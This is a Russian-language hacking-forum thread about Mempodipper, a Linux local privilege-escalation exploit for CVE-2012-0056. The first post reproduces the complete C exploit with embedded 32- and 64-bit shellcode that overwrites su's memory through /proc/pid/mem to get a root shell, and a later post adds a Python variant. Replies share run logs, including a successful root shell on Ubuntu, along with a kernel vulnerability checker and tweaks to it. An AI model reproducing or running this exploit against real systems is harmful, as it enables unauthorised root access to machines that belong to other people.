Старый 23.01.2012, 06:14   #1
kfor
 
Аватар для kfor
 
Регистрация: 27.01.2011
Сообщений: 120
Репутация: 39
По умолчанию Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit

Пока ещё не тестил. Ваши мысли?

PHP код:
 Exploit code is herehttp://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
Blog post about it is herehttp://blog.zx2c4.com/749

# Exploit Title: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit
# Date: Jan 21, 2012
# Author: zx2c4
# Tested on: Gentoo, Ubuntu
# Platform: Linux
# Category: Local
# CVE-2012-0056

/*
 * Mempodipper
 * by zx2c4
 * 
 * Linux Local Root Exploit
 * 
 * Rather than put my write up here, per usual, this time I've put it
 * in a rather lengthy blog post: http://blog.zx2c4.com/749
 * 
 * Enjoy.
 * 
 * - zx2c4
 * Jan 21, 2012
 * 
 * CVE-2012-0056
 */

#define _LARGEFILE64_SOURCE 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>

char *socket_path "/tmp/.sockpuppet";
int send_fd(int fd)
{
    
char buf[1];
    
struct iovec iov;
    
struct msghdr msg;
    
struct cmsghdr *cmsg;
    
struct sockaddr_un addr;
    
int n;
    
int sock;
    
char cms[CMSG_SPACE(sizeof(int))];
    
    if ((
sock socket(AF_UNIXSOCK_STREAM0)) < 0)
        return -
1;
    
memset(&addr0sizeof(addr));
    
addr.sun_family AF_UNIX;
    
strncpy(addr.sun_pathsocket_pathsizeof(addr.sun_path) - 1);
    if (
connect(sock, (struct sockaddr*)&addrsizeof(addr)) < 0)
        return -
1;

    
buf[0] = 0;
    
iov.iov_base buf;
    
iov.iov_len 1;

    
memset(&msg0sizeof msg);
    
msg.msg_iov = &iov;
    
msg.msg_iovlen 1;
    
msg.msg_control = (caddr_t)cms;
    
msg.msg_controllen CMSG_LEN(sizeof(int));

    
cmsg CMSG_FIRSTHDR(&msg);
    
cmsg->cmsg_len CMSG_LEN(sizeof(int));
    
cmsg->cmsg_level SOL_SOCKET;
    
cmsg->cmsg_type SCM_RIGHTS;
    
memmove(CMSG_DATA(cmsg), &fdsizeof(int));

    if ((
sendmsg(sock, &msg0)) != iov.iov_len)
        return -
1;
    
close(sock);
    return 
0;
}

int recv_fd()
{
    
int listener;
    
int sock;
    
int n;
    
int fd;
    
char buf[1];
    
struct iovec iov;
    
struct msghdr msg;
    
struct cmsghdr *cmsg;
    
struct sockaddr_un addr;
    
char cms[CMSG_SPACE(sizeof(int))];

    if ((
listener socket(AF_UNIXSOCK_STREAM0)) < 0)
        return -
1;
    
memset(&addr0sizeof(addr));
    
addr.sun_family AF_UNIX;
    
strncpy(addr.sun_pathsocket_pathsizeof(addr.sun_path) - 1);
    
unlink(socket_path);
    if (
bind(listener, (struct sockaddr*)&addrsizeof(addr)) < 0)
        return -
1;
    if (
listen(listener1) < 0)
        return -
1;
    if ((
sock accept(listenerNULLNULL)) < 0)
        return -
1;
    
    
iov.iov_base buf;
    
iov.iov_len 1;

    
memset(&msg0sizeof msg);
    
msg.msg_name 0;
    
msg.msg_namelen 0;
    
msg.msg_iov = &iov;
    
msg.msg_iovlen 1;

    
msg.msg_control = (caddr_t)cms;
    
msg.msg_controllen sizeof cms;

    if ((
recvmsg(sock, &msg0)) < 0)
        return -
1;
    if (
== 0)
        return -
1;
    
cmsg CMSG_FIRSTHDR(&msg);
    
memmove(&fdCMSG_DATA(cmsg), sizeof(int));
    
close(sock);
    
close(listener);
    return 
fd;
}

int main(int argcchar **argv)
{
    if (
argc && argv[1][0] == '-' && argv[1][1] == 'c') {
        
char parent_mem[256];
        
sprintf(parent_mem"/proc/%s/mem"argv[2]);
        
printf("[+] Opening parent mem %s in child.\n"parent_mem);
        
int fd open(parent_memO_RDWR);
        if (
fd 0) {
            
perror("[-] open");
            return 
1;
        }
        
printf("[+] Sending fd %d to parent.\n"fd);
        
send_fd(fd);
        return 
0;
    }
    
    
printf("===============================\n");
    
printf("=          Mempodipper        =\n");
    
printf("=           by zx2c4          =\n");
    
printf("=         Jan 21, 2012        =\n");
    
printf("===============================\n\n");
    
    
int parent_pid getpid();
    if (
fork()) {
        
printf("[+] Waiting for transferred fd in parent.\n");
        
int fd recv_fd();
        
printf("[+] Received fd at %d.\n"fd);
        if (
fd 0) {
            
perror("[-] recv_fd");
            return -
1;
        }
        
printf("[+] Assigning fd %d to stderr.\n"fd);
        
dup2(26);
        
dup2(fd2);

        
unsigned long address;
        if (
argc && argv[1][0] == '-' && argv[1][1] == 'o')
            
address strtoul(argv[2], NULL16);
        else {
            
printf("[+] Reading su for exit@plt.\n");
            
// Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
            
FILE *command popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'""r");
            
char result[32];
            
result[0] = 0;
            
fgets(result32command);
            
pclose(command);
            
address strtoul(resultNULL16);
            if (
address == ULONG_MAX || !address) {
                
printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
                
printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n"argv[0], argv[0]);
                return 
1;
            }
            
printf("[+] Resolved exit@plt to 0x%lx.\n"address);
        }
        
printf("[+] Calculating su padding.\n");
        
FILE *command popen("su this-user-does-not-exist 2>&1""r");
        
char result[256];
        
result[0] = 0;
        
fgets(result256command);
        
pclose(command);
        
unsigned long su_padding = (strstr(result"this-user-does-not-exist") - result) / sizeof(char);
        
unsigned long offset address su_padding;
        
printf("[+] Seeking to offset 0x%lx.\n"offset);
        
lseek64(fdoffsetSEEK_SET);
        
#if defined(__i386__)
        // See shellcode-32.s in this package for the source.
        
char shellcode[] =
            
"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
            "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
            "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
            "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
            "\x80"
;
#elif defined(__x86_64__)
        // See shellcode-64.s in this package for the source.
        
char shellcode[] =
            
"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
            "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
            "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
            "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
            "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05"
;

#else
#error "That platform is not supported."
#endif
        
printf("[+] Executing su with shellcode.\n");
        
execl("/bin/su""su"shellcodeNULL);
    } else {
        
char pid[32];
        
sprintf(pid"%d"parent_pid);
        
printf("[+] Executing child from child fork.\n");
        
execl("/proc/self/exe"argv[0], "-c"pidNULL);
    }

http://www.exploit-db.com/exploits/18411/
kfor вне форума   Ответить с цитированием
Старый 23.01.2012, 11:02   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Красивая бага. И надежный 1day эксплойт. Нужны read права на /bin/su. Проблемы (решаемые, наверно) могут быть на федорах, где суидники с АСЛР компилируются (-fpie).

Простой код от спенглера для проверки, уязвимо ли ядро (НЕ эксплойт):
Код:
/*
  simple reproducer that tests whether we have commit 198214a7ee50375fa71a65e518341980cfd4b2f0 or not
  ^ from Red Hat
  v from me
  modified since PaX disallows writing to read-only areas of memory via 
  ptrace (which /proc/pid/mem uses the same routines of internally)
  and the original reproducer had both strings located in read-only 
  memory causing a "permission denied" error on the write, instead of a 
  correct vulnerable/not vulnerable report*/

#define _LARGEFILE64_SOURCE 
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int main(int argc, char **argv)
{
  char *s = "not vulnerable";
  char *s2 = "vulnerable";

  int fd;
  loff_t r;

  fd = open("/proc/self/mem", O_RDWR);
  if(fd < 0) {
    perror("open");
    goto end;
  }

  if(lseek64(fd, (off64_t) &s, SEEK_SET) < 0) {
    perror("lseek64");
    goto end;
  }

  if(write(fd, &s2, sizeof(s2)) < 0) {
    perror("write");
  }

end:
  close(fd);
  printf("%s\n", s);
}

Последний раз редактировалось SynQ; 23.01.2012 в 11:44..
SynQ вне форума   Ответить с цитированием
Старый 23.01.2012, 12:27   #3
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Python версия для x64 систем где на /bin/su нет read прав.

Код:
!/usr/bin/python
# CVE-2012-0056 amd64
# sd@fucksheep.org
#
# hg clone https://code.google.com/p/python-passfd
# cd python-passfd; ./setup.py build_ext --inplace; cd src
# mv ~/hurrdurr.py .
# ./hurrdurr.py
from socket import *
from passfd import *
from os import *
from socket import *
from sys import *
if argv[-1]=='hax':
        sk=int(argv[1])
        fd=open("/proc/%d/mem"%getppid(),O_WRONLY)
        lseek(fd,0x401000,0)
        sendfd(sk,fd)
else:
        a,b=socketpair()
        if not fork():
                execl("/usr/bin/python","python",
                      __file__,str(a.fileno()),'hax')
        dup2(recvfd(b)[0],2)
        execl("/bin/su","su",("\x90"*8000)+"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+
                "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+
                "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+
                "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05");
SynQ вне форума   Ответить с цитированием
Старый 23.01.2012, 13:36   #4
snake
 
Регистрация: 05.07.2010
Сообщений: 173
Репутация: 12
По умолчанию

чекер не всегда пашет,пока только в одном случае показал уязвим,на самом деле выпал сегфолт(
snake вне форума   Ответить с цитированием
Старый 23.01.2012, 13:46   #5
snake
 
Регистрация: 05.07.2010
Сообщений: 173
Репутация: 12
По умолчанию

PHP код:
snake@opensuse:/tmpid
uid
=1000(snakegid=100(usersgroups=100(users),33(video)
snake@opensuse:/tmpuname -a
Linux opensuse 3.1.0
-1.2-desktop #1 SMP PREEMPT Thu Nov 3 14:45:45 UTC 2011 (187dde0) i686 i686 i386 GNU/Linux
snake@opensuse:/tmp> ./mem
===============================
=          
Mempodipper        =
=           
by zx2c4          =
=         
Jan 212012        =
===============================

[+] 
Waiting for transferred fd in parent.
[+] 
Executing child from child fork.
[+] 
Opening parent mem /proc/4802/mem in child.
[+] 
Sending fd 3 to parent.
[+] 
Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] 
Reading su for exit@plt.
[+] 
Resolved exit@plt to 0x1868.
[+] 
Calculating su padding.
[+] 
Seeking to offset 0x185f.
[+] 
Executing su with shellcode.
snake@opensuse:/tmp> ./ch
lseek64
Success
not vulnerable 
================================================== =
PHP код:
[tess@arch_x64 tmp]$ ./check_mem
vulnerable

[tess@arch_x64 tmp]$ ./mempodipper
===============================
=          
Mempodipper        =
=           
by zx2c4          =
=         
Jan 212012        =
===============================

[+] 
Waiting for transferred fd in parent.
[+] 
Executing child from child fork.
[+] 
Opening parent mem /proc/793/mem in child.
[+] 
Sending fd 3 to parent.
[+] 
Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] 
Reading su for exit@plt.
[+] 
Resolved exit@plt to 0x401a60.
[+] 
Calculating su padding.
[+] 
Seeking to offset 0x401a57.
[+] 
Executing su with shellcode.
Segmentation fault
[tess@arch_x64 tmp]$ id
uid
=1001(tessgid=1001(tessgroups=1001(tess)

uname -a
Linux arch_x64 3.2.1
-1-ARCH #1 SMP PREEMPT Fri Jan 13 06:50:31 CET 2012 x86_64 Intel(R) Core(TM) i5 CPU 760 @ 2.80GHz GenuineIntel GNU/Linux 
================================================== =

PHP код:
snake@debian6:/tmp$ ./mempodipper
===============================
=          
Mempodipper        =
=           
by zx2c4          =
=         
Jan 212012        =
===============================

[+] 
Waiting for transferred fd in parent.
[+] 
Executing child from child fork.
[+] 
Opening parent mem /proc/1584/mem in child.
[+] 
Sending fd 3 to parent.
[+] 
Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] 
Reading su for exit@plt.
[+] 
Resolved exit@plt to 0x8049a44.
[+] 
Calculating su padding.
[+] 
Seeking to offset 0x8049a29.
[+] 
Executing su with shellcode.
snake@debian6:/tmpid
uid
=1000(snakegid=1000(snakeгруппы=1000(snake),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
snake@debian6:/tmpuname -a
Linux debian6 2.6.32
-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux
snake@debian6:/tmp
===============================================

PHP код:
snake@gentoo /tmp $ ./mem
===============================
=          
Mempodipper        =
=           
by zx2c4          =
=         
Jan 212012        =
===============================

[+] 
Waiting for transferred fd in parent.
[+] 
Executing child from child fork.
[+] 
Opening parent mem /proc/1824/mem in child.
[+] 
Sending fd 3 to parent.




гентани бе ни ме

snake
@gentoo /tmp $ ./mem
===============================
=          
Mempodipper        =
=           
by zx2c4          =
=         
Jan 212012        =
===============================

[+] 
Waiting for transferred fd in parent.
[+] 
Executing child from child fork.
[+] 
Opening parent mem /proc/1834/mem in child.
[+] 
Sending fd 3 to parent.
[+] 
Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] 
Reading su for exit@plt.
[-] 
Could not resolve /bin/suSpecify the exit@plt function address manually.
[-] 
Usage: ./mem -o ADDRESS
[-] Example: ./mem -o 0x402178

Вообще приплыли 
=) 
snake вне форума   Ответить с цитированием
Старый 23.01.2012, 14:08   #6
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

snake
На генте /bin/su читаем?

Первая система похоже федора или просто PIE есть? readelf -h /bin/su | grep Type должен EXEC показывать, а не DYN. Еще можно checksec.sh прогнать.

А зачем 2.6.32 пробовал?

Цитата:
Сообщение от snake Посмотреть сообщение
чекер не всегда пашет,пока только в одном случае показал уязвим,на самом деле выпал сегфолт(
Если он показывает vulnerable значит ядро уязвимо, то, что сегфолтится, уже другой вопрос (не знаю почему).

Последний раз редактировалось SynQ; 23.01.2012 в 14:14..
SynQ вне форума   Ответить с цитированием
Старый 23.01.2012, 14:25   #7
Andrey1800
 
Регистрация: 31.08.2010
Сообщений: 196
Репутация: 154
По умолчанию

код проверки не работает
Цитата:
andrey1800@vaio:~$ id
uid=1000(andrey1800) gid=1000(andrey1800) группы=1000(andrey1800),4(adm),20(dialout),2 4(cdrom),46(plugdev),110(lpadmin),114(admin),115(s ambashare)
andrey1800@vaio:~$ ./testsys
lseek64: Success
not vulnerable
andrey1800@vaio:~$ ./spl
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/1503/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049520.
[+] Calculating su padding.
[+] Seeking to offset 0x8049505.
[+] Executing su with shellcode.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plu gdev),110(lpadmin),114(admin),115(sambashare),1000 (andrey1800)
# uname -a
Linux vaio 3.0.0-14-generic #23-Ubuntu SMP Mon Nov 21 20:34:47 UTC 2011 i686 i686 i386 GNU/Linux
#
арч x86_64 сегфолт
Andrey1800 вне форума   Ответить с цитированием
Старый 23.01.2012, 14:48   #8
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Andrey1800
На ubuntu 11.10 х32 такое же поведение. Эксплойт работает.

lseek64: Success - несмотря на Success, это ошибка, поэтому похоже не работает.

Разобрался. Меняем
Код:
  if(lseek64(fd, (off64_t) &s, SEEK_SET) < 0) {
    perror("lseek64");
    goto end;
  }
на
Код:
  if(lseek64(fd, (off64_t) &s, SEEK_SET) < 0) {
    perror("lseek64");
    //goto end;
  }
Тогда, несмотря на код возврата lseek64, все-равно пытаемся проэксплуатировать. vulnerable.

Последний раз редактировалось SynQ; 23.01.2012 в 14:55..
SynQ вне форума   Ответить с цитированием
Старый 23.01.2012, 14:50   #9
snake
 
Регистрация: 05.07.2010
Сообщений: 173
Репутация: 12
По умолчанию

2.6.32 пробовал на всякий случай)).а первая ось - это ж суся,написано там.
Сегфолтится изза сплойта))кэп?
snake вне форума   Ответить с цитированием
Старый 23.01.2012, 15:15   #10
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

RHEL6 начиная с 2.6.32-220.el6 тоже уязвима, но там АСЛР на суидниках.

В гите появилась новая версия эксплойта, работает на федоре (юзает gpasswd: он, в отличие от su, скомпилирован без ASLR), а также работает там, где нет read прав на su (используется ptrace).
http://git.zx2c4.com/CVE-2012-0056/

Последний раз редактировалось SynQ; 24.01.2012 в 11:55..
SynQ вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot